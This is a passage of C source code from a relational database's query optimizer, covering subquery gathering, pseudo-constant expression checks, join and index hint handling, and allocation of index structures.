* in the enclosing term's subquery bitset. This is lame,
* but I can't think of a better way to do it. When we
* originally grabbed all of the subqueries we had no idea
* what expression they were in, so we have to discover it
* after the fact. Oh well, this doesn't happen often
* anyway.
*/
int i, N;
QO_ENV *env;
env = info->env;
for (i = 0, N = env->nsubqueries; i < N; i++)
{
if (node == env->subqueries[i].node)
{
bitset_add (&(env->subqueries[i].terms), QO_TERM_IDX (info->term));
bitset_add (&(QO_TERM_SUBQUERIES (info->term)), i);
break;
}
}
}
}
return node; /* leave node unchanged */
}
/*
* is_local_name () -
* return: 1 iff the expression is a name correlated to the current query
* env(in): Optimizer environment
* expr(in): The parse tree for the expression to examine
*/
static bool
is_local_name (QO_ENV * env, PT_NODE * expr)
{
UINTPTR spec = 0;
if (expr == NULL)
{
return false;
}
else if (expr->node_type == PT_NAME)
{
spec = expr->info.name.spec_id;
}
else if (expr->node_type == PT_DOT_)
{
spec = expr->info.dot.arg2->info.name.spec_id;
}
else if (expr->node_type == PT_EXPR && expr->info.expr.op == PT_PRIOR)
{
return is_local_name (env, expr->info.expr.arg1);
}
else if (pt_is_function_index_expr (env->parser, expr, false))
{
if (expr->info.expr.op == PT_FUNCTION_HOLDER)
{
PT_NODE *arg = NULL;
PT_NODE *func = expr->info.expr.arg1;
for (arg = func->info.function.arg_list; arg != NULL; arg = arg->next)
{
PT_NODE *save_arg = arg;
arg = pt_function_index_skip_expr (arg);
if (arg->node_type == PT_NAME)
{
if (is_local_name (env, arg) == false)
{
return false;
}
}
arg = save_arg;
}
}
else
{
PT_NODE *arg = NULL;
if (expr->info.expr.arg1)
{
arg = pt_function_index_skip_expr (expr->info.expr.arg1);
if (arg->node_type == PT_NAME)
{
if (is_local_name (env, arg) == false)
{
return false;
}
}
}
if (expr->info.expr.arg2)
{
arg = pt_function_index_skip_expr (expr->info.expr.arg2);
if (arg->node_type == PT_NAME)
{
if (is_local_name (env, arg) == false)
{
return false;
}
}
}
if (expr->info.expr.arg3)
{
arg = pt_function_index_skip_expr (expr->info.expr.arg3);
if (arg->node_type == PT_NAME)
{
if (is_local_name (env, arg) == false)
{
return false;
}
}
}
}
return true;
}
else
{
return false;
}
return (pt_find_entity (env->parser, env->pt_tree->info.query.q.select.from, spec) != NULL) ? true : false;
}
/*
* pt_is_pseudo_const () -
* return: true if the expression can serve as a pseudo-constant
* during predicate evaluation. Used primarily to help
* determine whether a predicate can be implemented
* with an index scan
* env(in): The optimizer environment
* expr(in): The parse tree for the expression to examine
*/
bool
pt_is_pseudo_const (PT_NODE * expr)
{
if (expr == NULL)
{
return false;
}
switch (expr->node_type)
{
case PT_VALUE:
case PT_HOST_VAR:
return true;
case PT_SELECT:
case PT_UNION:
case PT_DIFFERENCE:
case PT_INTERSECTION:
return (expr->info.query.correlation_level != 1) ? true : false;
case PT_NAME:
/*
* It is up to the calling context to ensure that the name is
* actually a pseudo constant, either because it is a correlated
* outer reference, or because it can otherwise be guaranteed to
* be evaluated by the time it is referenced.
*/
return true;
case PT_DOT_:
/*
* It would be nice if we could use expressions that are
* guaranteed to be independent of the attribute, but the current
* XASL implementation can't guarantee that such expressions have
* been evaluated by the time that we need them, so we have to
* play it safe here and not use them.
*/
return true;
case PT_EXPR:
switch (expr->info.expr.op)
{
case PT_FUNCTION_HOLDER:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_PLUS:
case PT_STRCAT:
case PT_MINUS:
case PT_TIMES:
case PT_DIVIDE:
case PT_BIT_AND:
case PT_BIT_OR:
case PT_BIT_XOR:
case PT_BITSHIFT_LEFT:
case PT_BITSHIFT_RIGHT:
case PT_DIV:
case PT_MOD:
case PT_LEFT:
case PT_RIGHT:
case PT_REPEAT:
case PT_STRCMP:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_UNARY_MINUS:
case PT_BIT_NOT:
case PT_BIT_COUNT:
case PT_QPRIOR:
case PT_PRIOR:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_BETWEEN_AND:
case PT_BETWEEN_GE_LE:
case PT_BETWEEN_GE_LT:
case PT_BETWEEN_GT_LE:
case PT_BETWEEN_GT_LT:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_BETWEEN_EQ_NA:
case PT_BETWEEN_INF_LE:
case PT_BETWEEN_INF_LT:
case PT_BETWEEN_GE_INF:
case PT_BETWEEN_GT_INF:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_MODULUS:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_SCHEMA:
case PT_DATABASE:
case PT_VERSION:
case PT_PI:
case PT_USER:
case PT_LAST_INSERT_ID:
case PT_ROW_COUNT:
case PT_DEFAULTF:
case PT_LIST_DBS:
case PT_OID_OF_DUPLICATE_KEY:
case PT_SCHEMA_DEF:
return true;
case PT_FLOOR:
case PT_CEIL:
case PT_SIGN:
case PT_ABS:
case PT_CHR:
case PT_EXP:
case PT_SQRT:
case PT_ACOS:
case PT_ASIN:
case PT_ATAN:
case PT_SIN:
case PT_COS:
case PT_TAN:
case PT_COT:
case PT_DEGREES:
case PT_RADIANS:
case PT_LN:
case PT_LOG2:
case PT_LOG10:
case PT_DATEF:
case PT_TIMEF:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_POWER:
case PT_ROUND:
case PT_TRUNC:
case PT_LOG:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_INSTR:
case PT_CONV:
return (pt_is_pseudo_const (expr->info.expr.arg1) && pt_is_pseudo_const (expr->info.expr.arg2)
&& pt_is_pseudo_const (expr->info.expr.arg3)) ? true : false;
case PT_POSITION:
case PT_FINDINSET:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_SUBSTRING:
case PT_SUBSTRING_INDEX:
case PT_LOCATE:
return (pt_is_pseudo_const (expr->info.expr.arg1) && pt_is_pseudo_const (expr->info.expr.arg2)
&& (expr->info.expr.arg3 ? pt_is_pseudo_const (expr->info.expr.arg3) : true)) ? true : false;
case PT_CHAR_LENGTH:
case PT_OCTET_LENGTH:
case PT_BIT_LENGTH:
case PT_LOWER:
case PT_UPPER:
case PT_HEX:
case PT_ASCII:
case PT_REVERSE:
case PT_DISK_SIZE:
case PT_SPACE:
case PT_MD5:
case PT_SHA_ONE:
case PT_TO_BASE64:
case PT_FROM_BASE64:
case PT_BIN:
case PT_TZ_OFFSET:
case PT_CRC32:
case PT_CONV_TZ:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_TRIM:
case PT_LTRIM:
case PT_RTRIM:
case PT_LIKE_LOWER_BOUND:
case PT_LIKE_UPPER_BOUND:
case PT_FROM_UNIXTIME:
case PT_AES_ENCRYPT:
case PT_AES_DECRYPT:
case PT_SHA_TWO:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& (expr->info.expr.arg2 ? pt_is_pseudo_const (expr->info.expr.arg2) : true)) ? true : false;
case PT_LPAD:
case PT_RPAD:
case PT_REPLACE:
case PT_TRANSLATE:
case PT_INDEX_PREFIX:
return (pt_is_pseudo_const (expr->info.expr.arg1) && pt_is_pseudo_const (expr->info.expr.arg2)
&& (expr->info.expr.arg3 ? pt_is_pseudo_const (expr->info.expr.arg3) : true)) ? true : false;
case PT_ADD_MONTHS:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_LAST_DAY:
case PT_UNIX_TIMESTAMP:
if (expr->info.expr.arg1)
{
return pt_is_pseudo_const (expr->info.expr.arg1);
}
else
{
return true;
}
case PT_YEARF:
case PT_MONTHF:
case PT_DAYF:
case PT_DAYOFMONTH:
case PT_HOURF:
case PT_MINUTEF:
case PT_SECONDF:
case PT_QUARTERF:
case PT_WEEKDAY:
case PT_DAYOFWEEK:
case PT_DAYOFYEAR:
case PT_TODAYS:
case PT_FROMDAYS:
case PT_TIMETOSEC:
case PT_SECTOTIME:
case PT_TO_ENUMERATION_VALUE:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_TIMESTAMP:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_MONTHS_BETWEEN:
case PT_TIME_FORMAT:
case PT_FORMAT:
case PT_ATAN2:
case PT_ADDDATE:
case PT_DATE_ADD: /* 2 args because the 3rd is constant (unit) */
case PT_SUBDATE:
case PT_DATE_SUB:
case PT_DATE_FORMAT:
case PT_STR_TO_DATE:
case PT_DATEDIFF:
case PT_TIMEDIFF:
case PT_MAKEDATE:
case PT_ADDTIME:
case PT_WEEKF:
case PT_FROM_TZ:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_SYS_DATE:
case PT_CURRENT_DATE:
case PT_SYS_TIME:
case PT_CURRENT_TIME:
case PT_SYS_TIMESTAMP:
case PT_CURRENT_TIMESTAMP:
case PT_SYS_DATETIME:
case PT_CURRENT_DATETIME:
case PT_UTC_TIME:
case PT_UTC_DATE:
case PT_LOCAL_TRANSACTION_ID:
case PT_CURRENT_USER:
case PT_EVALUATE_VARIABLE:
case PT_DBTIMEZONE:
case PT_UTC_TIMESTAMP:
return true;
case PT_TO_CHAR:
case PT_TO_DATE:
case PT_TO_TIME:
case PT_TO_TIMESTAMP:
case PT_TO_DATETIME:
case PT_TO_NUMBER:
case PT_TO_DATETIME_TZ:
case PT_TO_TIMESTAMP_TZ:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& (expr->info.expr.arg2 ? pt_is_pseudo_const (expr->info.expr.arg2) : true)) ? true : false;
case PT_CURRENT_VALUE:
case PT_NEXT_VALUE:
return true;
case PT_CAST:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_CASE:
case PT_DECODE:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_NULLIF:
case PT_COALESCE:
case PT_NVL:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_IF:
return (pt_is_pseudo_const (expr->info.expr.arg2)
&& pt_is_pseudo_const (expr->info.expr.arg3)) ? true : false;
case PT_IFNULL:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_ISNULL:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_CONCAT:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& (expr->info.expr.arg2 ? pt_is_pseudo_const (expr->info.expr.arg2) : true)) ? true : false;
case PT_CONCAT_WS:
case PT_FIELD:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& (expr->info.expr.arg2 ? pt_is_pseudo_const (expr->info.expr.arg2) : true)
&& pt_is_pseudo_const (expr->info.expr.arg3)) ? true : false;
case PT_MID:
case PT_NVL2:
case PT_MAKETIME:
case PT_NEW_TIME:
return (pt_is_pseudo_const (expr->info.expr.arg1) && pt_is_pseudo_const (expr->info.expr.arg2)
&& pt_is_pseudo_const (expr->info.expr.arg3)) ? true : false;
case PT_EXTRACT:
return pt_is_pseudo_const (expr->info.expr.arg1);
case PT_LEAST:
case PT_GREATEST:
return (pt_is_pseudo_const (expr->info.expr.arg1)
&& pt_is_pseudo_const (expr->info.expr.arg2)) ? true : false;
case PT_COERCIBILITY:
/* is always folded to constant : should not reach this code */
assert (false);
case PT_COLLATION:
case PT_CHARSET:
case PT_INET_ATON:
case PT_INET_NTOA:
return pt_is_pseudo_const (expr->info.expr.arg1);
default:
return false;
}
case PT_FUNCTION:
{
/*
* The is the case we encounter for predicates like
*
* x in (a,b,c)
*
* Here the the expression '(a,b,c)' comes in as a multiset
* function call, with PT_NAMEs 'a', 'b', and 'c' as its arglist.
*/
PT_NODE *p;
if (expr->info.function.function_type != F_SET && expr->info.function.function_type != F_MULTISET
&& expr->info.function.function_type != F_SEQUENCE)
{
return false;
}
for (p = expr->info.function.arg_list; p; p = p->next)
{
if (!pt_is_pseudo_const (p))
{
return false;
}
}
return true;
}
default:
return false;
}
}
/*
* add_local_subquery () - This routine adds an entry to the optimizer
* environment for the subquery
* return: nothing
* env(in): Optimizer environment
* node(in): The parse tree for the subquery being added
*/
static void
add_local_subquery (QO_ENV * env, PT_NODE * node)
{
int i, n;
QO_SUBQUERY *tmp;
n = env->nsubqueries++;
/*
* Be careful here: the previously allocated QO_SUBQUERY terms
* contain bitsets that may have self-relative internal pointers, and
* those pointers have to be maintained in the new array. The proper
* way to make sure that they are consistent is to use the bitset_assign()
* macro, not just to do the bitcopy that memcpy() will do.
*/
tmp = NULL;
if ((n + 1) > 0)
{
tmp = (QO_SUBQUERY *) malloc (sizeof (QO_SUBQUERY) * (n + 1));
if (tmp == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, sizeof (QO_SUBQUERY) * (n + 1));
return;
}
}
else
{
return;
}
memcpy (tmp, env->subqueries, n * sizeof (QO_SUBQUERY));
for (i = 0; i < n; i++)
{
QO_SUBQUERY *subq;
subq = &env->subqueries[i];
BITSET_MOVE (tmp[i].segs, subq->segs);
BITSET_MOVE (tmp[i].nodes, subq->nodes);
BITSET_MOVE (tmp[i].terms, subq->terms);
}
if (env->subqueries)
{
free_and_init (env->subqueries);
}
env->subqueries = tmp;
tmp = &env->subqueries[n];
tmp->node = node;
bitset_init (&tmp->segs, env);
bitset_init (&tmp->nodes, env);
bitset_init (&tmp->terms, env);
qo_expr_segs (env, node, &tmp->segs);
qo_seg_nodes (env, &tmp->segs, &tmp->nodes);
tmp->idx = n;
}
/*
* get_local_subqueries_pre () - Builds vector of locally correlated
* (level 1) queries
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
get_local_subqueries_pre (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
QO_ENV *env;
BITSET segs;
*continue_walk = PT_CONTINUE_WALK;
switch (node->node_type)
{
case PT_SELECT:
case PT_UNION:
case PT_DIFFERENCE:
case PT_INTERSECTION:
/* check for correlated subquery except for SELECT list */
if (node->info.query.correlation_level == 1)
{
env = (QO_ENV *) arg;
bitset_init (&segs, env);
qo_expr_segs (env, node, &segs);
if (bitset_is_empty (&segs))
{
/* reduce_equality_terms() can change a correlated subquery to uncorrelated one */
node->info.query.correlation_level = 0;
}
bitset_delset (&segs);
}
*continue_walk = PT_LIST_WALK;
break;
default:
break;
}
return node;
}
/*
* get_local_subqueries_post () - Builds vector of locally correlated
* (level 1) queries
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
get_local_subqueries_post (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
QO_ENV *env = (QO_ENV *) arg;
*continue_walk = PT_CONTINUE_WALK;
switch (node->node_type)
{
case PT_SELECT:
case PT_UNION:
case PT_DIFFERENCE:
case PT_INTERSECTION:
if (node->info.query.correlation_level == 1)
{
add_local_subquery (env, node);
}
break;
default:
break;
}
return node;
}
/*
* get_local_subqueries () -
* return: non-zero if something went wrong
* env(in):
* node(in):
*
* Note:
* Gather the correlated level == 1 subqueries.
* EXCLUDE nested queries.
* INCLUDING the node being passed in.
*/
static void
get_local_subqueries (QO_ENV * env, PT_NODE * node)
{
PARSER_CONTEXT *parser;
PT_NODE *tree;
PT_NODE *select_list_ptr;
PT_NODE *next_ptr;
int i;
parser = QO_ENV_PARSER (env);
tree = QO_ENV_PT_TREE (env);
next_ptr = tree->next;
tree->next = NULL;
select_list_ptr = tree->info.query.q.select.list;
tree->info.query.q.select.list = NULL;
parser_walk_leaves (parser, tree, get_local_subqueries_pre, env, get_local_subqueries_post, env);
/* restore next list pointer */
tree->next = next_ptr;
tree->info.query.q.select.list = select_list_ptr;
/*
* Now that all of the subqueries have been discovered, make
* *another* pass and associate each with its enclosing QO_TERM, if any.
*/
for (i = 0; i < env->nterms; i++)
{
get_term_subqueries (env, QO_ENV_TERM (env, i));
}
QO_ASSERT (env, env->subqueries != NULL || env->nsubqueries == 0);
}
/*
* get_rank () - Gather term's rank
* return:
* env(in):
*/
static void
get_rank (QO_ENV * env)
{
int i;
for (i = 0; i < env->nterms; i++)
{
get_term_rank (env, QO_ENV_TERM (env, i));
}
}
/*
* get_referenced_attrs () - Returns the list of this entity's attributes that
* are referenced in this query
* return:
* entity(in):
*/
static PT_NODE *
get_referenced_attrs (PT_NODE * entity)
{
return (PT_SPEC_IS_DERIVED (entity)
|| PT_SPEC_IS_CTE (entity)) ? entity->info.spec.as_attr_list : entity->info.spec.referenced_attrs;
}
/*
* add_hint_args () - attach hint informations to QO_NODEs
* return:
* env(in):
* arg_list(in):
* hint(in):
*/
static void
add_hint_args (QO_ENV * env, PT_NODE * arg_list, PT_HINT_ENUM hint)
{
PT_NODE *arg, *entity_spec;
QO_NODE *node;
int i;
if (arg_list)
{
/* iterate over all nodes */
for (i = 0; i < env->nnodes; i++)
{
node = QO_ENV_NODE (env, i);
entity_spec = QO_NODE_ENTITY_SPEC (node);
/* check for spec list */
for (arg = arg_list; arg; arg = arg->next)
{
/* found match */
if (entity_spec->info.spec.id == arg->info.name.spec_id)
{
QO_NODE_HINT (node) = (PT_HINT_ENUM) (QO_NODE_HINT (node) | hint);
break;
}
}
}
}
else
{ /* FULLY HINTED */
/* iterate over all nodes */
for (i = 0; i < env->nnodes; i++)
{
node = QO_ENV_NODE (env, i);
QO_NODE_HINT (node) = (PT_HINT_ENUM) (QO_NODE_HINT (node) | hint);
}
}
}
/*
* add_hint () -
* return:
* env(in):
* tree(in):
*/
static void
add_hint (QO_ENV * env, PT_NODE * tree)
{
PT_HINT_ENUM hint;
int i, j, k;
QO_NODE *node, *p_node;
PT_NODE *arg, *p_arg, *spec, *p_spec;
int last_ordered_idx = 0;
hint = tree->info.query.q.select.hint;
if (hint & PT_HINT_ORDERED)
{
if (tree->info.query.q.select.ordered)
{
/* find last ordered node */
for (arg = tree->info.query.q.select.ordered; arg->next; arg = arg->next)
{
; /* nop */
}
for (i = 0; i < env->nnodes; i++)
{
node = QO_ENV_NODE (env, i);
spec = QO_NODE_ENTITY_SPEC (node);
if (spec->info.spec.id == arg->info.name.spec_id)
{
last_ordered_idx = QO_NODE_IDX (node);
break;
}
}
/* iterate over all nodes */
for (i = 0; i < env->nnodes; i++)
{
node = QO_ENV_NODE (env, i);
spec = QO_NODE_ENTITY_SPEC (node);
/* check for arg list */
p_arg = NULL;
for (arg = tree->info.query.q.select.ordered, j = 0; arg; arg = arg->next, j++)
{
if (spec->info.spec.id == arg->info.name.spec_id)
{
if (p_arg)
{ /* skip out the first ordered spec */
/* find prev node */
for (k = 0; k < env->nnodes; k++)
{
p_node = QO_ENV_NODE (env, k);
p_spec = QO_NODE_ENTITY_SPEC (p_node);
if (p_spec->info.spec.id == p_arg->info.name.spec_id)
{
bitset_assign (&(QO_NODE_OUTER_DEP_SET (node)), &(QO_NODE_OUTER_DEP_SET (p_node)));
bitset_add (&(QO_NODE_OUTER_DEP_SET (node)), QO_NODE_IDX (p_node));
break;
}
}
}
#if 1 /* TEMPORARY CODE: DO NOT REMOVE ME !!! */
QO_NODE_HINT (node) = (PT_HINT_ENUM) (QO_NODE_HINT (node) | PT_HINT_ORDERED);
#endif
break; /* exit loop for arg traverse */
}
p_arg = arg; /* save previous arg */
}
/* not found in arg list */
if (!arg)
{
bitset_add (&(QO_NODE_OUTER_DEP_SET (node)), last_ordered_idx);
}
} /* for (i = ... ) */
}
else
{ /* FULLY HINTED */
/* iterate over all nodes */
p_node = NULL;
for (i = 0; i < env->nnodes; i++)
{
node = QO_ENV_NODE (env, i);
if (p_node)
{ /* skip out the first ordered node */
bitset_assign (&(QO_NODE_OUTER_DEP_SET (node)), &(QO_NODE_OUTER_DEP_SET (p_node)));
bitset_add (&(QO_NODE_OUTER_DEP_SET (node)), QO_NODE_IDX (p_node));
}
#if 1 /* TEMPORARY CODE: DO NOT REMOVE ME !!! */
QO_NODE_HINT (node) = (PT_HINT_ENUM) (QO_NODE_HINT (node) | PT_HINT_ORDERED);
#endif
p_node = node; /* save previous node */
} /* for (i = ... ) */
}
}
if (hint & PT_HINT_USE_NL)
{
add_hint_args (env, tree->info.query.q.select.use_nl, PT_HINT_USE_NL);
}
if (hint & PT_HINT_USE_IDX)
{
add_hint_args (env, tree->info.query.q.select.use_idx, PT_HINT_USE_IDX);
}
if (hint & PT_HINT_INDEX_SS)
{
add_hint_args (env, tree->info.query.q.select.index_ss, PT_HINT_INDEX_SS);
}
if (hint & PT_HINT_INDEX_LS)
{
add_hint_args (env, tree->info.query.q.select.index_ls, PT_HINT_INDEX_LS);
}
if (hint & PT_HINT_USE_MERGE)
{
add_hint_args (env, tree->info.query.q.select.use_merge, PT_HINT_USE_MERGE);
}
}
/*
* add_using_index () - attach index names specified in USING INDEX clause to QO_NODEs
* return:
* env(in):
* using_index(in):
*/
static void
add_using_index (QO_ENV * env, PT_NODE * using_index)
{
int i, j, n;
QO_NODE *nodep;
QO_USING_INDEX *uip;
PT_NODE *indexp, *indexp_nokl;
bool is_none, is_ignored;
PT_NODE **idx_ignore_list = NULL;
int idx_ignore_list_capacity = 0;
int idx_ignore_list_size = 0;
if (!using_index)
{
/* no USING INDEX clause in the query; all QO_NODE_USING_INDEX(node) will contain NULL */
goto cleanup;
}
/* allocate memory for index ignore list; by default, the capacity of the list is the number of index hints in the
* USING INDEX clause
*/
idx_ignore_list_capacity = 0;
for (indexp = using_index; indexp; indexp = indexp->next)
{
idx_ignore_list_capacity++;
}
idx_ignore_list = (PT_NODE **) malloc (idx_ignore_list_capacity * sizeof (PT_NODE *));
if (idx_ignore_list == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1,
idx_ignore_list_capacity * sizeof (PT_NODE *));
goto cleanup;
}
/* if an index occurs more than once and at least one occurrence has a keylimit, we should ignore the occurrences
* without keylimit; we now build an ignore list containing indexes which should not be attached to the QO_NODE
*/
idx_ignore_list_size = 0;
for (indexp_nokl = using_index; indexp_nokl; indexp_nokl = indexp_nokl->next)
{
if (indexp_nokl->info.name.original && indexp_nokl->info.name.resolved && !indexp_nokl->info.name.indx_key_limit)
{
/* it's a normal index without a keylimit; search for same index with keylimit */
for (indexp = using_index; indexp; indexp = indexp->next)
{
if (indexp->info.name.original && indexp->info.name.resolved && indexp->info.name.indx_key_limit
&& indexp->etc == indexp_nokl->etc
&& !intl_identifier_casecmp (indexp->info.name.original, indexp_nokl->info.name.original)
&& !intl_identifier_casecmp (indexp->info.name.resolved, indexp_nokl->info.name.resolved))
{
/* same index found, with keylimit; add to ignore list */
idx_ignore_list[idx_ignore_list_size++] = indexp_nokl;
break;
}
} /* for (indexp ...) */
}
} /* for (indexp_nokl ...) */
/* for each node */
for (i = 0; i < env->nnodes; i++)
{
nodep = QO_ENV_NODE (env, i);
is_none = false;
/* count number of indexes for this node */
n = 0;
for (indexp = using_index; indexp; indexp = indexp->next)
{
/* check for USING INDEX NONE or USING INDEX class.NONE cases */
if (indexp->info.name.original == NULL && indexp->info.name.resolved == NULL)
{
n = 0;
is_none = true;
break; /* USING INDEX NONE case */
}
if (indexp->info.name.original == NULL
&& !intl_identifier_casecmp (QO_NODE_NAME (nodep), indexp->info.name.resolved)
&& indexp->etc == (void *) PT_IDX_HINT_CLASS_NONE)
{
n = 0; /* USING INDEX class_name.NONE,... case */
is_none = true;
break;
}
/* check if index is in ignore list (pointer comparison) */
is_ignored = false;
for (j = 0; j < idx_ignore_list_size; j++)
{
if (indexp == idx_ignore_list[j])
{
is_ignored = true;
break;
}
}
if (is_ignored)
{
continue;
}
/* check index type and count it accordingly */
if (indexp->info.name.original == NULL && indexp->info.name.resolved[0] == '*')
{
n++; /* USING INDEX ALL EXCEPT case */
}
if (indexp->info.name.original && !intl_identifier_casecmp (QO_NODE_NAME (nodep), indexp->info.name.resolved))
{
n++;
}
}
/* if n == 0, it means that either no indexes in USING INDEX clause for this node or USING INDEX NONE case */
if (n == 0 && !is_none)
{
/* no index for this node in USING INDEX clause, however give it a chance to be assigned an index later */
QO_NODE_USING_INDEX (nodep) = NULL;
continue;
}
/* allocate QO_USING_INDEX structure */
if (n == 0)
{
uip = (QO_USING_INDEX *) malloc (SIZEOF_USING_INDEX (1));
}
else
{
uip = (QO_USING_INDEX *) malloc (SIZEOF_USING_INDEX (n));
}
QO_NODE_USING_INDEX (nodep) = uip;
if (uip == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, SIZEOF_USING_INDEX (n ? n : 1));
goto cleanup;
}
QO_UI_N (uip) = n;
/* USING INDEX NONE, or USING INDEX class_name.NONE,... case */
if (is_none)
{
continue;
}
/* attach indexes to QO_NODE */
n = 0;
for (indexp = using_index; indexp; indexp = indexp->next)
{
/* check for USING INDEX NONE case */
if (indexp->info.name.original == NULL && indexp->info.name.resolved == NULL)
{
break; /* USING INDEX NONE case */
}
/* check if index is in ignore list (pointer comparison) */
is_ignored = false;
for (j = 0; j < idx_ignore_list_size; j++)
{
if (indexp == idx_ignore_list[j])
{
is_ignored = true;
break;
}
}
if (is_ignored)
{
continue;
}
/* attach index if necessary */
if (indexp->info.name.original == NULL && indexp->info.name.resolved[0] == '*')
{
/* USING INDEX ALL EXCEPT case */
QO_UI_INDEX (uip, n) = indexp->info.name.resolved;
QO_UI_FORCE (uip, n++) = (int) (UINT64) (indexp->etc);
}
if (indexp->info.name.original && !intl_identifier_casecmp (QO_NODE_NAME (nodep), indexp->info.name.resolved))
{
QO_UI_INDEX (uip, n) = indexp->info.name.original;
QO_UI_KEYLIMIT (uip, n) = indexp->info.name.indx_key_limit;
QO_UI_FORCE (uip, n++) = (int) (UINT64) (indexp->etc);
}
}
}
cleanup:
/* free memory of index ignore list */
if (idx_ignore_list != NULL)
{
free (idx_ignore_list);
}
}
/*
* qo_alloc_index () - Allocate a QO_INDEX structure with room for <n>
* QO_INDEX_ENTRY elements. The fields are initialized
* return: QO_CLASS_INFO *
* env(in): The current optimizer environment
* n(in): The node whose class info we want
*/
static QO_INDEX *
qo_alloc_index (QO_ENV * env, int n)
{
int i;
QO_INDEX *indexp;
QO_INDEX_ENTRY *entryp;
indexp = (QO_INDEX *) malloc (SIZEOF_INDEX (n));
if (indexp == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, SIZEOF_INDEX (n));
return NULL;
}
indexp->n = 0;
indexp->max = n;
for (i = 0; i < n; i++)
{
entryp = QO_INDEX_INDEX (indexp, i);
entryp->next = NULL;
entryp->class_ = NULL;
entryp->col_num = 0;
entryp->key_type = NULL;
entryp->nsegs = 0;
entryp->seg_idxs = NULL;
entryp->rangelist_seg_idx = -1;
entryp->seg_equal_terms = NULL;
entryp->seg_other_terms = NULL;
bitset_init (&(entryp->terms), env);
entryp->all_unique_index_columns_are_equi_terms = false;
entryp->cover_segments = false;
entryp->is_iss_candidate = false;
entryp->first_sort_column = -1;
entryp->orderby_skip = false;
entryp->groupby_skip = false;
entryp->use_descending = false;
entryp->statistics_attribute_name = NULL;
entryp->key_limit = NULL;
entryp->constraints = NULL;
entryp->ils_prefix_len = 0;
entryp->rangelist_term_idx = -1;
bitset_init (&(entryp->index_segs), env);
bitset_init (&(entryp->multi_col_range_segs), env);
}
return indexp;
}
/*
* qo_free_index () - Free the QO_INDEX structure and all elements contained
* within it
* return: nothing
* env(in): The current optimizer environment
* indexp(in): A pointer to a previously-allocated index vector
*/
static void
qo_free_index (QO_ENV * env, QO_INDEX * indexp)
{
int i, j;
QO_INDEX_ENTRY *entryp;
if (!indexp)
{
return;
}
for (i = 0; i < indexp->max; i++)
{
entryp = QO_INDEX_INDEX (indexp, i);
bitset_delset (&(entryp->terms));
bitset_delset (&(entryp->index_segs));
bitset_delset (&(entryp->multi_col_range_segs));
for (j = 0; j < entryp->nsegs; j++)
{
bitset_delset (&(entryp->seg_equal_terms[j]));
bitset_delset (&(entryp->seg_other_terms[j]));
}
if (entryp->nsegs)
{
if (entryp->seg_equal_terms)
{
free_and_init (entryp->seg_equal_terms);
}
if (entryp->seg_other_terms)
{
free_and_init (entryp->seg_other_terms);
}
if (entryp->seg_idxs)
{
free_and_init (entryp->seg_idxs);
}
if (entryp->statistics_attribute_name)
{
free_and_init (entryp->statistics_attribute_name);
}
}
entryp->constraints = NULL;
}
if (indexp)
{
free_and_init (indexp);
}
}
/*
* qo_get_class_info () -
* return: QO_CLASS_INFO *
* env(in): The current optimizer environment
* node(in): The node whose class info we want
*/
static QO_CLASS_INFO *
qo_get_class_info (QO_ENV * env, QO_NODE * node)
{
PT_NODE *dom_set;
int n;
QO_CLASS_INFO *info;
QO_CLASS_INFO_ENTRY *end;
int i;
dom_set = QO_NODE_ENTITY_SPEC (node)->info.spec.flat_entity_list;
n = count_classes (dom_set);
info = (QO_CLASS_INFO *) malloc (SIZEOF_CLASS_INFO (n));
if (info == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, SIZEOF_CLASS_INFO (n));
return NULL;
}
for (i = 0; i < n; ++i)
{
info->info[i].name = NULL;
info->info[i].mop = NULL;
